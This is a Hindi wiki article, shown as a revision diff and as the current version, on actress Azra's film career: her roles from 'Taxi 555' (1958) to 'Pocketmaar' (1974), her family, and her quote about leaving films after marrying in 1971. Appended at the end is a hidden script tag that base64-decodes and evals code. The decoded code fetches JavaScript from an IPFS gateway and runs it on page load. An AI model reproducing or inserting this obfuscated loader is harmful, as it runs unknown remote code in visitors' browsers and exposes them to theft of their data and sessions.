"अज़रा का फ़िल्मी कॅरियर": अवतरणों में अंतर
No edit summary |
No edit summary |
||
(इसी सदस्य द्वारा किए गए बीच के 4 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
{{अज़रा विषय सूची}} | |||
{{सूचना बक्सा कलाकार | |||
|चित्र=Azra-3.jpg | |||
|चित्र का नाम=अज़रा | |||
|पूरा नाम=अज़रा | |||
|प्रसिद्ध नाम= | |||
|अन्य नाम= | |||
|जन्म=[[21 सितम्बर]] | |||
|जन्म भूमि=[[मुम्बई]] | |||
|मृत्यु= | |||
|मृत्यु स्थान= | |||
|अभिभावक=[[पिता]]- नानूभाई वक़ील, [[माता]]- सरोजिनी। | |||
|पति/पत्नी= | |||
|संतान= | |||
|कर्म भूमि=[[भारत]] | |||
|कर्म-क्षेत्र=[[हिन्दी सिनेमा]] | |||
|मुख्य रचनाएँ= | |||
|मुख्य फ़िल्में='मदर इण्डिया', 'जंगली', 'गंगा यमुना', 'भारत की बेटी’, ‘संसार नैया’, ‘दीपक महल’, ‘संस्कार’, ‘ताजमहल’, ‘नया ज़माना’ और ‘सर्कस किंग’ आदि। | |||
|विषय= | |||
|शिक्षा= | |||
|विद्यालय= | |||
|पुरस्कार-उपाधि= | |||
|प्रसिद्धि=अभिनेत्री | |||
|विशेष योगदान= | |||
|नागरिकता=भारतीय | |||
|संबंधित लेख= | |||
|शीर्षक 1= | |||
|पाठ 1= | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी=[[1958]] में अज़रा जी की फ़िल्म 'टैक्सी 555' प्रदर्शित हुई। [[प्रदीप कुमार]] और शकीला की मुख्य भूमिकाओं वाली इस फ़िल्म में वह सहनायिका थीं। [[1959]] में बनी फ़िल्म ‘घर घर की बात’ में वे नायिका बनीं। इस फ़िल्म का निर्माण उनके मौसा और सलीम शाह के पिता रमणीकलाल शाह ने किया था। | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन={{अद्यतन|13:20, 13 जून 2017 (IST)}} | |||
}} | |||
साल [[1958]] में अज़रा जी की फ़िल्म 'टैक्सी 555' प्रदर्शित हुई। [[प्रदीप कुमार]] और शकीला की मुख्य भूमिकाओं वाली इस फ़िल्म में वह सहनायिका थीं। [[1959]] में बनी फ़िल्म ‘घर घर की बात’ में वे नायिका बनीं। इस फ़िल्म का निर्माण उनके मौसा और सलीम शाह के पिता रमणीकलाल शाह ने किया, लेकिन ये दोनों ही फ़िल्में कुछ ख़ास नहीं चल पायीं। [[1960]] में अज़रा जी की दो फ़िल्में प्रदर्शित हुईं, जिनमें से एक थी ‘फ़िल्मिस्तान’ के बैनर में बनी ‘बाबर’ और दूसरी, ‘फ़िल्मिस्तान’ से अलग हुए शशधर मुकर्जी के बैनर ‘फ़िल्मालय’ की ‘लव इन शिमला’। ‘फ़िल्मालय’ के बैनर में इससे पहले ‘दिल देके देखो’ ([[1959]]) और ‘हम हिंदुस्तानी’ ([[1960]]) बन चुकी थीं। | साल [[1958]] में अज़रा जी की फ़िल्म 'टैक्सी 555' प्रदर्शित हुई। [[प्रदीप कुमार]] और शकीला की मुख्य भूमिकाओं वाली इस फ़िल्म में वह सहनायिका थीं। [[1959]] में बनी फ़िल्म ‘घर घर की बात’ में वे नायिका बनीं। इस फ़िल्म का निर्माण उनके मौसा और सलीम शाह के पिता रमणीकलाल शाह ने किया, लेकिन ये दोनों ही फ़िल्में कुछ ख़ास नहीं चल पायीं। [[1960]] में अज़रा जी की दो फ़िल्में प्रदर्शित हुईं, जिनमें से एक थी ‘फ़िल्मिस्तान’ के बैनर में बनी ‘बाबर’ और दूसरी, ‘फ़िल्मिस्तान’ से अलग हुए शशधर मुकर्जी के बैनर ‘फ़िल्मालय’ की ‘लव इन शिमला’। ‘फ़िल्मालय’ के बैनर में इससे पहले ‘दिल देके देखो’ ([[1959]]) और ‘हम हिंदुस्तानी’ ([[1960]]) बन चुकी थीं। | ||
====प्रमुख फ़िल्में==== | ====प्रमुख फ़िल्में==== | ||
फ़िल्म ‘लव इन शिमला’ [[जॉय मुखर्जी]] और [[साधना]] की बतौर नायक-नायिका पहली फ़िल्म थी। इस फ़िल्म में अज़रा जी सहनायिका की भूमिका में थीं। अपने दौर की सुपरहिट फ़िल्म ‘लव इन शिमला’ ने अज़रा जी को दर्शकों के बीच अच्छी पहचान दी। लेकिन उनका कॅरियर महज़ 15 साल का रहा। उन 15 सालों में अज़रा जी ने ‘जंगली’, ‘गंगा जमुना’, ‘गंगा की लहरें’, ‘इशारा’, ‘बहारों के सपने’, ‘बंदिश’, ‘वापस’, ‘राजा साहब’, ‘महल’, ‘माय लव’ और ‘इल्ज़ाम’ जैसी क़रीब दो दर्जन फ़िल्मों में मुख्यत: सहनायिका और चरित्र भूमिकाएं कीं और फिर शादी करके फ़िल्मों से अलग हो गयीं। ‘गंगा जमुना’ में वे सहनायक नासिर ख़ान की प्रेमिका की भूमिका में थीं। फ़िल्म ‘शाने ख़ुदा’ ([[1971]]) और ‘पॉकेटमार’ ([[1974]]) उनकी शादी के बाद प्रदर्शित हुईं। फ़िल्म ‘शाने ख़ुदा’ का निर्देशन उनके पिता नानूभाई वक़ील ने किया था। | फ़िल्म ‘लव इन शिमला’ [[जॉय मुखर्जी]] और [[साधना]] की बतौर नायक-नायिका पहली फ़िल्म थी। इस फ़िल्म में अज़रा जी सहनायिका की भूमिका में थीं। अपने दौर की सुपरहिट फ़िल्म ‘लव इन शिमला’ ने अज़रा जी को दर्शकों के बीच अच्छी पहचान दी। लेकिन उनका कॅरियर महज़ 15 साल का रहा। उन 15 सालों में अज़रा जी ने ‘जंगली’, ‘गंगा जमुना’, ‘गंगा की लहरें’, ‘इशारा’, ‘बहारों के सपने’, ‘बंदिश’, ‘वापस’, ‘राजा साहब’, ‘महल’, ‘माय लव’ और ‘इल्ज़ाम’ जैसी क़रीब दो दर्जन फ़िल्मों में मुख्यत: सहनायिका और चरित्र भूमिकाएं कीं और फिर शादी करके फ़िल्मों से अलग हो गयीं। ‘गंगा जमुना’ में वे सहनायक नासिर ख़ान की प्रेमिका की भूमिका में थीं। फ़िल्म ‘शाने ख़ुदा’ ([[1971]]) और ‘पॉकेटमार’ ([[1974]]) उनकी शादी के बाद प्रदर्शित हुईं। फ़िल्म ‘शाने ख़ुदा’ का निर्देशन उनके पिता नानूभाई वक़ील ने किया था।<ref>{{cite web |url=http://beetehuedin.blogspot.in/search/label/actress%20%3A%20Azra |title=अज़रा |accessmonthday=13 जून |accessyear=2017 |last= |first= |authorlink= |format= |publisher=beetehuedin.blogspot.in |language=हिन्दी }}</ref> | ||
अज़रा जी के अनुसार- "[[जनवरी]], [[1971]] में [[मुम्बई]] के एक मशहूर कारोबारी [[परिवार]] में मेरी शादी हुई। मेरे ससुराल पक्ष का न तो फ़िल्मों से कोई रिश्ता था और न ही वे रिश्ता रखना चाहते थे। ऐसे में मैंने भी फ़िल्मों से अलग होने में देर नहीं की। [[देव आनंद]] ने, जिनके साथ मैं फ़िल्म ‘महल’ में काम कर चुकी थी, मुझे अपनी किसी फ़िल्म में लेना चाहा, लेकिन मैंने उन्हें भी विनम्रता से इंकार कर दिया। शादी के बाद मैंने सिर्फ़ अपना बचा हुआ काम निपटाया और फिर फ़िल्मी दुनिया को हमेशा के लिए अलविदा कह दिया।" | अज़रा जी के अनुसार- "[[जनवरी]], [[1971]] में [[मुम्बई]] के एक मशहूर कारोबारी [[परिवार]] में मेरी शादी हुई। मेरे ससुराल पक्ष का न तो फ़िल्मों से कोई रिश्ता था और न ही वे रिश्ता रखना चाहते थे। ऐसे में मैंने भी फ़िल्मों से अलग होने में देर नहीं की। [[देव आनंद]] ने, जिनके साथ मैं फ़िल्म ‘महल’ में काम कर चुकी थी, मुझे अपनी किसी फ़िल्म में लेना चाहा, लेकिन मैंने उन्हें भी विनम्रता से इंकार कर दिया। शादी के बाद मैंने सिर्फ़ अपना बचा हुआ काम निपटाया और फिर फ़िल्मी दुनिया को हमेशा के लिए अलविदा कह दिया।" | ||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }} | ||
पंक्ति 10: | पंक्ति 45: | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{अज़रा विषय सूची}}{{अभिनेत्री}} | {{अज़रा विषय सूची}}{{अभिनेत्री}} | ||
[[Category: | [[Category:अज़रा]][[Category:सिनेमा]][[Category:सिनेमा कोश]][[Category:कला कोश]] | ||
__INDEX__ | __INDEX__ |
08:14, 2 जुलाई 2017 के समय का अवतरण
अज़रा का फ़िल्मी कॅरियर
| |
पूरा नाम | अज़रा |
जन्म | 21 सितम्बर |
जन्म भूमि | मुम्बई |
अभिभावक | पिता- नानूभाई वक़ील, माता- सरोजिनी। |
कर्म भूमि | भारत |
कर्म-क्षेत्र | हिन्दी सिनेमा |
मुख्य फ़िल्में | 'मदर इण्डिया', 'जंगली', 'गंगा यमुना', 'भारत की बेटी’, ‘संसार नैया’, ‘दीपक महल’, ‘संस्कार’, ‘ताजमहल’, ‘नया ज़माना’ और ‘सर्कस किंग’ आदि। |
प्रसिद्धि | अभिनेत्री |
नागरिकता | भारतीय |
अन्य जानकारी | 1958 में अज़रा जी की फ़िल्म 'टैक्सी 555' प्रदर्शित हुई। प्रदीप कुमार और शकीला की मुख्य भूमिकाओं वाली इस फ़िल्म में वह सहनायिका थीं। 1959 में बनी फ़िल्म ‘घर घर की बात’ में वे नायिका बनीं। इस फ़िल्म का निर्माण उनके मौसा और सलीम शाह के पिता रमणीकलाल शाह ने किया था। |
अद्यतन | 13:20, 13 जून 2017 (IST)
|
साल 1958 में अज़रा जी की फ़िल्म 'टैक्सी 555' प्रदर्शित हुई। प्रदीप कुमार और शकीला की मुख्य भूमिकाओं वाली इस फ़िल्म में वह सहनायिका थीं। 1959 में बनी फ़िल्म ‘घर घर की बात’ में वे नायिका बनीं। इस फ़िल्म का निर्माण उनके मौसा और सलीम शाह के पिता रमणीकलाल शाह ने किया, लेकिन ये दोनों ही फ़िल्में कुछ ख़ास नहीं चल पायीं। 1960 में अज़रा जी की दो फ़िल्में प्रदर्शित हुईं, जिनमें से एक थी ‘फ़िल्मिस्तान’ के बैनर में बनी ‘बाबर’ और दूसरी, ‘फ़िल्मिस्तान’ से अलग हुए शशधर मुकर्जी के बैनर ‘फ़िल्मालय’ की ‘लव इन शिमला’। ‘फ़िल्मालय’ के बैनर में इससे पहले ‘दिल देके देखो’ (1959) और ‘हम हिंदुस्तानी’ (1960) बन चुकी थीं।
प्रमुख फ़िल्में
फ़िल्म ‘लव इन शिमला’ जॉय मुखर्जी और साधना की बतौर नायक-नायिका पहली फ़िल्म थी। इस फ़िल्म में अज़रा जी सहनायिका की भूमिका में थीं। अपने दौर की सुपरहिट फ़िल्म ‘लव इन शिमला’ ने अज़रा जी को दर्शकों के बीच अच्छी पहचान दी। लेकिन उनका कॅरियर महज़ 15 साल का रहा। उन 15 सालों में अज़रा जी ने ‘जंगली’, ‘गंगा जमुना’, ‘गंगा की लहरें’, ‘इशारा’, ‘बहारों के सपने’, ‘बंदिश’, ‘वापस’, ‘राजा साहब’, ‘महल’, ‘माय लव’ और ‘इल्ज़ाम’ जैसी क़रीब दो दर्जन फ़िल्मों में मुख्यत: सहनायिका और चरित्र भूमिकाएं कीं और फिर शादी करके फ़िल्मों से अलग हो गयीं। ‘गंगा जमुना’ में वे सहनायक नासिर ख़ान की प्रेमिका की भूमिका में थीं। फ़िल्म ‘शाने ख़ुदा’ (1971) और ‘पॉकेटमार’ (1974) उनकी शादी के बाद प्रदर्शित हुईं। फ़िल्म ‘शाने ख़ुदा’ का निर्देशन उनके पिता नानूभाई वक़ील ने किया था।[1]
अज़रा जी के अनुसार- "जनवरी, 1971 में मुम्बई के एक मशहूर कारोबारी परिवार में मेरी शादी हुई। मेरे ससुराल पक्ष का न तो फ़िल्मों से कोई रिश्ता था और न ही वे रिश्ता रखना चाहते थे। ऐसे में मैंने भी फ़िल्मों से अलग होने में देर नहीं की। देव आनंद ने, जिनके साथ मैं फ़िल्म ‘महल’ में काम कर चुकी थी, मुझे अपनी किसी फ़िल्म में लेना चाहा, लेकिन मैंने उन्हें भी विनम्रता से इंकार कर दिया। शादी के बाद मैंने सिर्फ़ अपना बचा हुआ काम निपटाया और फिर फ़िल्मी दुनिया को हमेशा के लिए अलविदा कह दिया।"
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>